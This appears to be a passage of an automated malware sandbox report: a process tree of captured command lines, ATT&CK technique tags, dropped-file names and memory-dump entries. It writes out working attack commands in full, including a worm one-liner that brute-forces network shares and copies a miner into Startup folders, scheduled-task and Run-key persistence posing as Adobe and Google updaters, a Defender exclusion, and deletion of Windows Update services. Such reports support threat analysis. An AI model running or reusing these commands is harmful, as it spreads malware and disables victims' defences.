C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0002⤵
- Power Settings
-
C:\Windows\SysWOW64\powercfg.exepowercfg /CHANGE -standby-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\SysWOW64\powercfg.exepowercfg /CHANGE -hibernate-timeout-ac 03⤵
- Power Settings
-
-
C:\Windows\SysWOW64\powercfg.exePowercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0003⤵
- Power Settings
-
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\cmd.exe" /v:on /c @(for /f "usebackq tokens=1" %i in (`@net view^|find /i "\\" ^|^| @arp -a^|find /i " 1"`) do @set str_!random!=%i)& @for /f "usebackq tokens=1* delims==" %j in (`set str_`) do @set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=IMG001.exe& set n=1709& @if not "!s!"=="%COMPUTERNAME%" @echo connect to \\!s! & (for /f "usebackq tokens=1" %j in (`net view \\!s!^|find /i " "`) do @echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\!s!\%j\!f!" 1>nul && @echo copy to "\\!s!\%j\!f!") & @net use * /delete /y 2>nul & @(for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 1 123 %u !n! "") do @ping -n 3 localhost>nul & @(for %c in (\\!s!\C$ \\!s!\Users) do @echo connect to %c %p %u & @(if not "%p%u"=="01" net use %c "%p" /user:"%u") && @((echo [Section1] & echo p=%p %u)>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & @(for %d in ("%c\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\All Users\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Windows\Profiles\%u\Start Menu\Programs\Startup\!f!" "%c\Windows\All Users\Start menu\Programs\Startup\!f!" "%c\%u\!f!" ) do @echo f|@xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" %d 1>nul && @echo copy to %d) & @echo nul>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & net use %c /delete /y 2>nul & @ping -n 20 localhost>nul)))2⤵
- Indicator Removal: Network Share Connection Removal
-
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe"C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe"1⤵
-
C:\Windows\Media\mppr.exe"C:\Windows\Media\mppr.exe"1⤵
-
C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding1⤵
-
C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exeC:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe1⤵
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Roaming\62c59093.exeC:\Users\Admin\AppData\Roaming\62c59093.exe1⤵
-
C:\62c59093\62c59093.exeC:\62c59093\62c59093.exe1⤵
-
C:\Windows\SysWOW64\SystemDiagnosticsHost.exeC:\Windows\SysWOW64\SystemDiagnosticsHost.exe1⤵
-
C:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exeC:\Users\Admin\AppData\Roaming\{34184A33-0407-212E-3320-09040709E2C2}.exe1⤵
-
C:\ProgramData\WindowsDataC.exeC:\ProgramData\WindowsDataC.exe1⤵
-
C:\Windows\System32\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f1⤵
- Modifies registry key
-
C:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exe"C:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exe"1⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f1⤵
- Modifies registry key
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004F8 0x00000000000005001⤵
-
C:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exe"C:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exe"1⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding1⤵
-
C:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exe"C:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exe"1⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Users\Admin\AppData\Local\Temp\a\WannaCry.exe"C:\Users\Admin\AppData\Local\Temp\a\WannaCry.exe" /r1⤵
-
C:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exe"C:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exe" /boot1⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\mail.vbs"1⤵
-
C:\Windows\System32\attrib.exeattrib +s +r +h C:\AUTOEXEC.BAT1⤵
- Sets file to hidden
- Views/modifies file attributes
-
C:\Users\Admin\AppData\Roaming\Axam.exeC:\Users\Admin\AppData\Roaming\Axam.exe1⤵
-
C:\Windows\System32\attrib.exeattrib +s +r +h C:\AUTOEXEC.BAT1⤵
- Sets file to hidden
- Views/modifies file attributes
-
C:\Users\Admin\AppData\Local\Temp\Rnts.exeC:\Users\Admin\AppData\Local\Temp\Rnts.exe1⤵
-
C:\Windows\System32\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f1⤵
- Modifies registry key
-
C:\Windows\KdzEregli.exeC:\Windows\KdzEregli.exe1⤵
-
C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe"C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe"1⤵
-
C:\Users\Admin\AppData\Local\PiKqNTCbmrHPacS\SecurityUpdater.exe.exeC:\Users\Admin\AppData\Local\PiKqNTCbmrHPacS\SecurityUpdater.exe.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe"C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe"1⤵
-
C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding1⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f1⤵
- Modifies registry key
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\mail.vbs"1⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#vpnaxct#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }1⤵
- Command and Scripting Interpreter: PowerShell
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Installer Packages
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
File and Directory Permissions Modification
1Hide Artifacts
3Hidden Files and Directories
2Hidden Window
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
1Network Share Connection Removal
1Indirect Command Execution
1Modify Registry
2Obfuscated Files or Information
1Command Obfuscation
1Subvert Trust Controls
2Install Root Certificate
1SIP and Trust Provider Hijacking
1System Binary Proxy Execution
1Msiexec
1Discovery
Network Service Discovery
2Network Share Discovery
1Peripheral Device Discovery
1Process Discovery
1Query Registry
2Remote System Discovery
2System Information Discovery
1System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
install.bat
Gui.exe
cagerrors.dat
log.txt
atl100.dll
msvcp100.dll
msvcr100.dll
PPTV.MKV.ico
list_HD.png
list_livebtn_down.png
ad_close.bmp
pause_close.bmp
checkbox.bmp
checkbox_checked.bmp
checkbox_checked_disabled.bmp
checkbox_checked_down.bmp
checkbox_checked_hover.bmp
checkbox_disabled.bmp
checkbox_down.bmp
checkbox_hover.bmp
radio.png
radio_checked.png
radio_checked_disabled.png
radio_checked_down.png
radio_checked_hover.png
radio_disabled.png
radio_down.png
radio_hover.png
logo.jpg
ProgressTb_hover.png
scrollbar_pagedown.bmp
scrollbar_vthumbgripper.bmp
scrollbar_pagedown_hover.bmp
scrollbar_vthumbgripper_down.bmp
PPLive.exe
kxeksgpid.kid
hg.dat
tipsdone.ini
default-0.log
default-0.log
default-0.log
4DD39726D4B55AC3B4119B35A893323C_B52A817151EF1886E9E62A36CEBC7049
4DD39726D4B55AC3B4119B35A893323C_B52A817151EF1886E9E62A36CEBC7049
4DD39726D4B55AC3B4119B35A893323C_B52A817151EF1886E9E62A36CEBC7049
4DD39726D4B55AC3B4119B35A893323C_B52A817151EF1886E9E62A36CEBC7049
background.exe
bmfr05zj.newcfg
user.config
user.config
game1[2].js
sq.dialog2015[1].js
sq.login[1].js
game1[2].css
dy-jy3[1].js
istat.controller[1].php
sq.clientclass[1].js
sq.core[1].js
SecurityUpdater.exe.exe
365VPN7.exe
CustomAction.config
Microsoft.Deployment.WindowsInstaller.dll
ScreenConnect.Core.dll
ScreenConnect.InstallerActions.dll
MSIDDCA.tmp
MSIF505.tmp
Microsoft.Deployment.Compression.Cab.dll
Microsoft.Deployment.Compression.dll
Microsoft.Deployment.WindowsInstaller.Package.dll
PReflector64.exe
PTIs2xa.7z
flag_aq.png
flag_ax.png
flag_bv.png
flag_cx.png
flag_eh.png
flag_gp.png
flag_iq.png
flag_nz.png
plugins.png
RunIt.exe
SQWlhISJt89A.bat
TempDel.bat
TmpB5D2.tmp
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_ssl.pyd
base_library.zip
cacert.pem
md.cp313-win_amd64.pyd
md__mypyc.cp313-win_amd64.pyd
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyarmor_runtime.pyd
python3.dll
python313.dll
select.pyd
ucrtbase.dll
unicodedata.pyd
INSTALLER
cacert.pem
logo100.gif
logo64.gif
logoLarge.gif
logoMed.gif
pwrdLogo100.gif
pwrdLogo150.gif
pwrdLogo175.gif
pwrdLogo200.gif
pwrdLogo75.gif
tai-ku.gif
LICENSE
LICENSE.APACHE
LICENSE.BSD
__PSScriptPolicyTest_4cu3aaaa.bym.ps1
!Please Read Me!.txt
02.08.2022.exe
144.exe
3.exe
DragonBalls76Ace.exe
EagleJetClient4.exe
NAMUVPN7.exe
RoxanneIQ6.exe
Setup.exe
System4.vbs
TempSpoofer.exe
ThornFlash3Client.exe
UVSODSAE.msi
deviceid.txt
file_37b904483beaa60e.exe
kononiaZClient.exe
1.png
10.png
2.png
3.png
4.png
5.png
6.png
7.png
8.png
9.png
steam_cmd_win32.manifest
steamcmd_bins_win32.zip.7ae579f513787b332395a86b4515b400c2f57eaa
steambootstrapper_korean.txt_
support.client.exe
vmware-setup.msi
ahC2p0sVNkxGSe7a.exe
12ed4bb6-374e-4f7b-a999-1546498b028a.tmp
data_0
data_2
data_3
MANIFEST-000001
the-real-index
the-real-index~RFe5abcaa.TMP
CURRENT
data_1
Local State
Local State
Local State~RFe5a89b3.TMP
index
SCT Auditing Pending Reports
Local State
Local State~RFe5a9c80.TMP
a51123da-51f7-48da-afa0-a029b57c7128.tmp
installconfig.ini
_shfoldr.dll
is-O5FIV.tmp
InstallHelper.exe
kavsetup.log
semPacketDllLog.log
semPacketDllLog.log
inetc.dll
FindProcDLL.dll
nsExec.dll
nsExec.dll
ioSpecial.ini
ioSpecial.ini
SimpleFC.dll
SimpleSC.dll
System.dll
nsProcess.dll
nsSCM.dll
nsisXML.dll
AsynDownload.dll
BindDLL.dll
CommonFuncDll.dll
FindProcDLL.dll
GetCommentsInfoDll.dll
GetVersion.dll
InetLoad.dll
KillProcDLL.dll
PPBindDAC.dll
PPInstallLog.dll
System.dll
bind_en-us.ini
cknsis.dll
pnsis.dll
time.dll
ioSpecial.ini
nsExec.dll
nsExec.dll
FileInfo.dll
ioSpecial.ini
ioSpecial.ini
euc-cn.enc
res.bat
tftp.exe
PPTV视频.library-ms
PPTV视频.library-ms
PPTV视频.library-ms
PPTV视频.library-ms
~PTV视频.tmp
590aee7bdd69b59b.customDestinations-ms
590aee7bdd69b59b.customDestinations-ms
62c59093.exe
Axam.exe
xpti.dat
config.ini
config.ini
cqsj.exe
app.ini
dts.exe
lander.ini
lander.ini
namu832.exe
riende.exe
365vpnxp.exe
CORPerfMonSymbols.exe
mppr.exe
msldriver.dll
EASendMailObj.dll
SystemDiagnosticsHost.exe
sihost64.exe
02.08.2022.exe
Auo1.exe
DebugView%2b%2b.exe
EDMSLauncherSetup.exe
NAMUVPN32.exe
NanoCore_Portable.exe
PPTV(pplive)_forap_1084_9993.exe
steamcmd.exe
cache.txt
cache.txt
cache.txt
cache.txt
cache.txt
cache.txt
mail.vbs
mail.vbs
mail.vbs
masum.exe
memory/696-327-0x0000019A27ED0000-0x0000019A27F52000-memory.dmp
memory/696-698-0x0000019A27F80000-0x0000019A27F94000-memory.dmp
memory/816-511-0x0000000070180000-0x000000007022A000-memory.dmp
memory/1584-165-0x0000026B73A70000-0x0000026B73A78000-memory.dmp
memory/1584-308-0x0000026B76740000-0x0000026B76850000-memory.dmp
memory/1584-271-0x0000026B76520000-0x0000026B76622000-memory.dmp
memory/1584-617-0x0000026B769D0000-0x0000026B76A10000-memory.dmp
memory/1584-166-0x0000026B76280000-0x0000026B76408000-memory.dmp
memory/1628-457-0x0000000000E20000-0x00000000019D4000-memory.dmp
memory/1628-629-0x0000000000E20000-0x00000000019D4000-memory.dmp
memory/1628-625-0x0000000000E20000-0x00000000019D4000-memory.dmp
memory/1628-714-0x0000000000E20000-0x00000000019D4000-memory.dmp
memory/1628-518-0x0000000000E20000-0x00000000019D4000-memory.dmp
memory/1628-322-0x0000000000E20000-0x00000000019D4000-memory.dmp
memory/2748-296-0x000002261FC80000-0x000002261FC81000-memory.dmp
memory/2748-149-0x000002261FC80000-0x000002261FC81000-memory.dmp
memory/2748-300-0x000002261FC80000-0x000002261FC81000-memory.dmp
memory/2748-299-0x000002261FC80000-0x000002261FC81000-memory.dmp
memory/2748-297-0x000002261FC80000-0x000002261FC81000-memory.dmp
memory/2748-298-0x000002261FC80000-0x000002261FC81000-memory.dmp
memory/2748-295-0x000002261FC80000-0x000002261FC81000-memory.dmp
memory/2748-151-0x000002261FC80000-0x000002261FC81000-memory.dmp
memory/2756-408-0x00007FF719260000-0x00007FF7192AA000-memory.dmp
memory/2768-156-0x0000000005850000-0x00000000058CA000-memory.dmp
memory/2768-134-0x0000000000D70000-0x0000000000E36000-memory.dmp
memory/2768-618-0x0000000006CC0000-0x0000000006D00000-memory.dmp
memory/2768-264-0x0000000005B20000-0x0000000005B6C000-memory.dmp
memory/2768-159-0x0000000005B80000-0x0000000005C58000-memory.dmp
memory/2864-336-0x000001D029F80000-0x000001D029FA2000-memory.dmp
memory/2864-340-0x000001D011DC0000-0x000001D011DD0000-memory.dmp
memory/3008-290-0x0000000000290000-0x0000000000356000-memory.dmp
memory/3008-304-0x0000000004DB0000-0x0000000004E2C000-memory.dmp
memory/3008-307-0x00000000050A0000-0x0000000005178000-memory.dmp
memory/3800-288-0x00007FF6860F0000-0x00007FF687039000-memory.dmp
memory/3800-287-0x00007FF6860F0000-0x00007FF687039000-memory.dmp
memory/3800-263-0x00007FF6860F0000-0x00007FF687039000-memory.dmp
memory/3800-353-0x00007FF6860F0000-0x00007FF687039000-memory.dmp
memory/3800-720-0x00007FF6860F0000-0x00007FF687039000-memory.dmp
memory/3800-268-0x00007FF6860F0000-0x00007FF687039000-memory.dmp
memory/3800-507-0x00007FF6860F0000-0x00007FF687039000-memory.dmp
memory/3800-422-0x00007FF6860F0000-0x00007FF687039000-memory.dmp
memory/3908-358-0x00000000051D0000-0x000000000524C000-memory.dmp
memory/3908-359-0x0000000005650000-0x0000000005728000-memory.dmp
memory/3908-357-0x0000000000850000-0x0000000000916000-memory.dmp
memory/4276-314-0x00007FF76E1D0000-0x00007FF76E21A000-memory.dmp
memory/4320-276-0x0000000070180000-0x000000007022A000-memory.dmp
memory/4936-244-0x00000000007D0000-0x0000000000896000-memory.dmp
memory/4936-269-0x0000000005290000-0x000000000530A000-memory.dmp
memory/4936-273-0x00000000055E0000-0x00000000056B8000-memory.dmp
memory/4996-323-0x0000000000E20000-0x00000000019D4000-memory.dmp
memory/4996-312-0x0000000000E20000-0x00000000019D4000-memory.dmp
memory/5276-315-0x0000000004BE0000-0x0000000004C5C000-memory.dmp
memory/5276-313-0x0000000000140000-0x0000000000206000-memory.dmp
memory/5276-316-0x0000000004F20000-0x0000000004FF8000-memory.dmp
memory/5404-382-0x0000000005950000-0x0000000005A28000-memory.dmp
memory/5404-376-0x00000000057D0000-0x000000000584C000-memory.dmp
memory/5404-352-0x0000000000B30000-0x0000000000BC0000-memory.dmp
memory/5440-305-0x0000000000C80000-0x00000000016BE000-memory.dmp
memory/5440-310-0x0000000000C80000-0x00000000016BE000-memory.dmp
memory/5440-292-0x0000000000C80000-0x00000000016BE000-memory.dmp
memory/5440-291-0x0000000000C80000-0x00000000016BE000-memory.dmp
memory/5440-301-0x0000000000C80000-0x00000000016BE000-memory.dmp
memory/5440-275-0x0000000000C80000-0x00000000016BE000-memory.dmp
memory/5440-309-0x0000000000C80000-0x00000000016BE000-memory.dmp
memory/5440-311-0x0000000000C80000-0x00000000016BE000-memory.dmp
memory/5440-360-0x0000000000C80000-0x00000000016BE000-memory.dmp
memory/5452-433-0x00000000074D0000-0x00000000075D2000-memory.dmp
memory/5452-427-0x0000000007180000-0x0000000007272000-memory.dmp
memory/5452-435-0x0000000007740000-0x0000000007772000-memory.dmp
memory/5452-442-0x00000000077F0000-0x0000000007856000-memory.dmp
memory/5452-332-0x0000000000E50000-0x0000000000F14000-memory.dmp
memory/5452-337-0x0000000005C60000-0x0000000005D38000-memory.dmp
memory/5452-333-0x0000000005920000-0x000000000599C000-memory.dmp
memory/5548-317-0x0000000000400000-0x0000000000410000-memory.dmp
memory/5548-148-0x0000000000400000-0x0000000000410000-memory.dmp
memory/5748-281-0x0000000004C50000-0x0000000004CCC000-memory.dmp
memory/5748-286-0x0000000004F60000-0x0000000005038000-memory.dmp
memory/5748-267-0x0000000000160000-0x0000000000226000-memory.dmp
memory/5872-167-0x0000000005390000-0x0000000005468000-memory.dmp
memory/5872-160-0x0000000005030000-0x00000000050AC000-memory.dmp
memory/5872-622-0x0000000005510000-0x000000000551A000-memory.dmp
memory/5872-147-0x0000000000580000-0x0000000000646000-memory.dmp
memory/6228-401-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/6228-403-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/6228-394-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/6228-519-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/6228-647-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/6228-392-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/6228-378-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/6228-670-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/6228-393-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/6228-402-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/6228-458-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/6228-404-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/6344-396-0x00000000052A0000-0x000000000531C000-memory.dmp
memory/6344-399-0x0000000005710000-0x00000000057E8000-memory.dmp
memory/6344-383-0x0000000000910000-0x00000000009D4000-memory.dmp
memory/6364-400-0x0000000005540000-0x0000000005618000-memory.dmp
memory/6364-398-0x00000000051F0000-0x000000000526C000-memory.dmp
memory/6364-389-0x0000000000720000-0x00000000007E4000-memory.dmp
memory/6576-810-0x0000000007020000-0x00000000070B2000-memory.dmp
memory/6576-415-0x0000000005150000-0x0000000005228000-memory.dmp
memory/6576-411-0x0000000000520000-0x00000000005B4000-memory.dmp
memory/6576-413-0x00000000050D0000-0x000000000514C000-memory.dmp
memory/6680-421-0x0000000000FB0000-0x0000000001076000-memory.dmp
memory/6680-425-0x0000000005B40000-0x0000000005BBC000-memory.dmp
memory/6680-428-0x0000000005CC0000-0x0000000005D98000-memory.dmp
memory/6696-423-0x0000000000020000-0x00000000000E4000-memory.dmp
memory/6696-429-0x0000000004B70000-0x0000000004BEC000-memory.dmp
memory/6696-430-0x0000000004E30000-0x0000000004F08000-memory.dmp
memory/7012-426-0x000002B535240000-0x000002B53524A000-memory.dmp
memory/7208-616-0x0000000006230000-0x00000000063DC000-memory.dmp
memory/7208-461-0x0000000003E60000-0x0000000003E8E000-memory.dmp
memory/7208-485-0x0000000005FF0000-0x000000000607E000-memory.dmp
memory/7208-474-0x0000000003EA0000-0x0000000003EAA000-memory.dmp
memory/7464-472-0x0000000005B00000-0x0000000005B7C000-memory.dmp
memory/7464-469-0x0000000000D50000-0x0000000000DE0000-memory.dmp
memory/7464-475-0x0000000005C80000-0x0000000005D58000-memory.dmp
memory/7908-487-0x0000000003220000-0x0000000003228000-memory.dmp
memory/7908-490-0x0000000005B40000-0x0000000005E30000-memory.dmp
memory/7908-495-0x0000000005840000-0x00000000058CC000-memory.dmp
memory/7908-523-0x00000000063F0000-0x00000000069AA000-memory.dmp
memory/7908-497-0x00000000058D0000-0x0000000005A7A000-memory.dmp
memory/7908-496-0x00000000033A0000-0x00000000033C2000-memory.dmp
memory/7932-494-0x0000017C1B8C0000-0x0000017C1BA1A000-memory.dmp
memory/7952-626-0x0000021E190C0000-0x0000021E190E8000-memory.dmp
memory/7952-639-0x0000021E190C0000-0x0000021E190E8000-memory.dmp
memory/7952-627-0x0000021E190C0000-0x0000021E190E8000-memory.dmp
memory/7952-682-0x0000021E19850000-0x0000021E198BE000-memory.dmp
memory/7952-681-0x0000021E190C0000-0x0000021E190E8000-memory.dmp
memory/7952-678-0x0000021E19850000-0x0000021E198BE000-memory.dmp
memory/7952-680-0x0000021E19850000-0x0000021E198BE000-memory.dmp
memory/7952-683-0x0000021E19850000-0x0000021E198BE000-memory.dmp
memory/7952-498-0x0000021E190C0000-0x0000021E190E8000-memory.dmp
memory/7952-679-0x0000021E190C0000-0x0000021E190E8000-memory.dmp
memory/7972-653-0x0000000002D90000-0x0000000002D9A000-memory.dmp
memory/7972-489-0x0000000000B60000-0x0000000000B70000-memory.dmp
memory/7972-652-0x0000000002D80000-0x0000000002D8A000-memory.dmp
memory/8064-1097-0x000001DA6B950000-0x000001DA6B96E000-memory.dmp
memory/8200-658-0x0000000000A60000-0x0000000000B43000-memory.dmp
memory/8720-763-0x00007FF881460000-0x00007FF88146F000-memory.dmp
memory/8720-676-0x00007FF869060000-0x00007FF8694A5000-memory.dmp
memory/8720-871-0x00007FF890070000-0x00007FF89009E000-memory.dmp
memory/8720-870-0x00007FF8900A0000-0x00007FF8900BC000-memory.dmp
memory/8720-725-0x00007FF868BE0000-0x00007FF868C07000-memory.dmp
memory/8780-699-0x0000021A346A0000-0x0000021A346AC000-memory.dmp
memory/8860-697-0x0000000140000000-0x0000000140040000-memory.dmp
memory/8860-695-0x0000000140000000-0x0000000140040000-memory.dmp
memory/8860-696-0x0000000140000000-0x0000000140040000-memory.dmp
memory/8860-684-0x0000000140000000-0x0000000140040000-memory.dmp
memory/8860-694-0x0000000140000000-0x0000000140040000-memory.dmp
memory/8912-633-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/8912-638-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/8912-636-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/8912-752-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/8912-635-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/8912-637-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/8912-634-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/8912-632-0x0000000000430000-0x0000000000E6E000-memory.dmp
memory/9732-812-0x0000025B3CA10000-0x0000025B3CB04000-memory.dmp